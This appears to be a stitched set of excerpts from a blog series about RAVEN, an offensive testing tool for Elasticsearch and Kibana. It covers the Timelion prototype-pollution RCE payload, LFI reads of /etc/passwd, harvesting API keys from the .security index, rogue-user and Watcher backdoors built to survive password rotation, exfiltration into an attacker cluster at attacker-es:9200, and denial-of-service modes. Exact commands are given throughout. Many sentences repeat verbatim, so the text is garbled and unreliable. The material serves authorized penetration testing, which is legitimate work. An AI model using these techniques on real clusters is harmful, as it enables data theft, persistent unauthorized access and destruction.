RAVEN

Kibana's `/api/status` endpoint returns version, build, and plugin information... RAVEN's `kb-recon` module transforms this into structured intelligence.

With the Kibana version identified, RAVEN checks for known vulnerabilities... `kb-cve --check-only` scans the detected Kibana version against the CVE catalog.

RAVEN can list keys visible to the compromised user and create a new key carrying that user’s permissions. The credential can authenticate without the user’s password, so password rotation does not automatically end access.

Persistent access was established through rogue accounts, API keys, and Watcher-based backdoors that survive password rotations.

It followed earlier testing that reached Elasticsearch through port 9200 and gained code execution through port 5601 after Kibana compromise

The Watcher runs on a schedule and checks whether the user and key remain present. If defenders delete either but miss the Watcher, it can recreate them and defeat a partial cleanup.

By setting `Object.prototype.env.AAAA` to a `require("child_process").exec()` payload... the polluted AAAA variable contains the `child_process.exec()` payload, which executes the attacker's command.

CVE-2019-7609 is a prototype pollution vulnerability in Kibana's Timelion visualizer... running `kb-cve --timelion-rce ... --browser-trigger` delivers the payload and triggers execution automatically.

The Watcher runs on a schedule and checks whether the user and key remain present. If defenders delete either but miss the Watcher, it can recreate them and defeat a partial cleanup.

RAVEN can list keys visible to the compromised user and create a new key carrying that user’s permissions. The credential can authenticate without the user’s password, so password rotation does not automatically end access.

Post-Exploitation. Exfiltrate entire indices to disk, establish persistent access through rogue users and long-lived API keys that survive password rotations

Persistent access was established through rogue accounts, API keys, and Watcher-based backdoors that survive password rotations.

RAVEN’s persistence module adds three layers: a rogue high-privilege user, a long-lived API key, and an Elasticsearch Watcher task.

As shown in Figure 23, running ` raven-es --quiet -t localhost persist --create-user --backdoor-username cleanup_demo_user --backdoor-password 'Demo123!' --confirm-writes --scope-file scope.txt -u elastic -P changeme ` creates a rogue user.

The Watcher runs on a schedule and checks whether the user and key remain present. If defenders delete either but miss the Watcher, it can recreate them and defeat a partial cleanup.

RAVEN's CVE catalog tracks 8 vulnerabilities specific to Elasticsearch and Kibana, spanning MVEL and Groovy scripting engine RCE, snapshot directory traversal, Kibana Local File Inclusion, API key privilege escalation (detection only), and prototype pollution.

RAVEN can list keys visible to the compromised user and create a new key carrying that user’s permissions. The credential can authenticate without the user’s password, so password rotation does not automatically end access.

Post-Exploitation. Exfiltrate entire indices to disk, establish persistent access through rogue users and long-lived API keys that survive password rotations

RAVEN can list keys visible to the compromised user and create a new key carrying that user’s permissions. The credential can authenticate without the user’s password, so password rotation does not automatically end access.

Access Testing. Bruteforce credentials from curated wordlists, analyze privilege escalation paths, and manage API key operations for persistent credential-independent access.

`--hunt-creds` searches saved objects for embedded credentials. Kibana visualizations and data sources frequently contain hardcoded connection strings, API keys, and authentication tokens.

The ` --harvest ` flag attempts to read API keys directly from the ` .security ` index... harvested keys provide immediate access to other accounts without needing to crack their passwords.

running ` raven-es --quiet -t localhost apikey --list ... ` shows all API keys visible to the current user. The output reveals which API keys already exist in the cluster, who created them, and when.

running `kb-cve --lfi /etc/passwd --confirm-writes` sends the exploit payload... reveals the extracted file contents.

RAVEN can list keys visible to the compromised user and create a new key carrying that user’s permissions.

Everything from passive fingerprinting to full remote code execution (RCE)... spanning MVEL and Groovy scripting engine RCE, snapshot directory traversal, Kibana Local File Inclusion

Part 4 [[URL_51a019af_71]] proved the business impact. Entire databases exfiltrated to disk.

RAVEN’s exfiltration module can pull a chosen index or export every non-system index to local newline-delimited JSON files.

For environments where the attacker controls a local Elasticsearch instance, the ` --to local-es` option with ` --dest http://attacker-es:9200 ` reindexes the stolen data directly into the attacker's cluster, preserving mappings, field types, and index settings.

Post-Exploitation. Exfiltrate entire indices to disk

It can also send copied data into an attacker-controlled Elasticsearch server, retaining index mappings and settings.

Index deletion, document wiping, mapping corruption, Meow simulation, and five denial-of-service modes, all gated behind triple-confirmation safety controls and all logged for accountability.

` bulk_hammer ` floods the indexing pipeline with bulk write requests. As shown in Figure 21, in 60 seconds of testing this mode indexed 58,100 documents in 581 bulk requests, peaking at 52% CPU.

RAVEN's ` dos ` module provides five resource exhaustion modes, each targeting a different bottleneck in the Elasticsearch architecture.

API keys will be invalidated. Rogue users will be deleted. Snapshot repositories will be unregistered.

simulate real-world attack scenarios including the Meow Attack data corruption campaign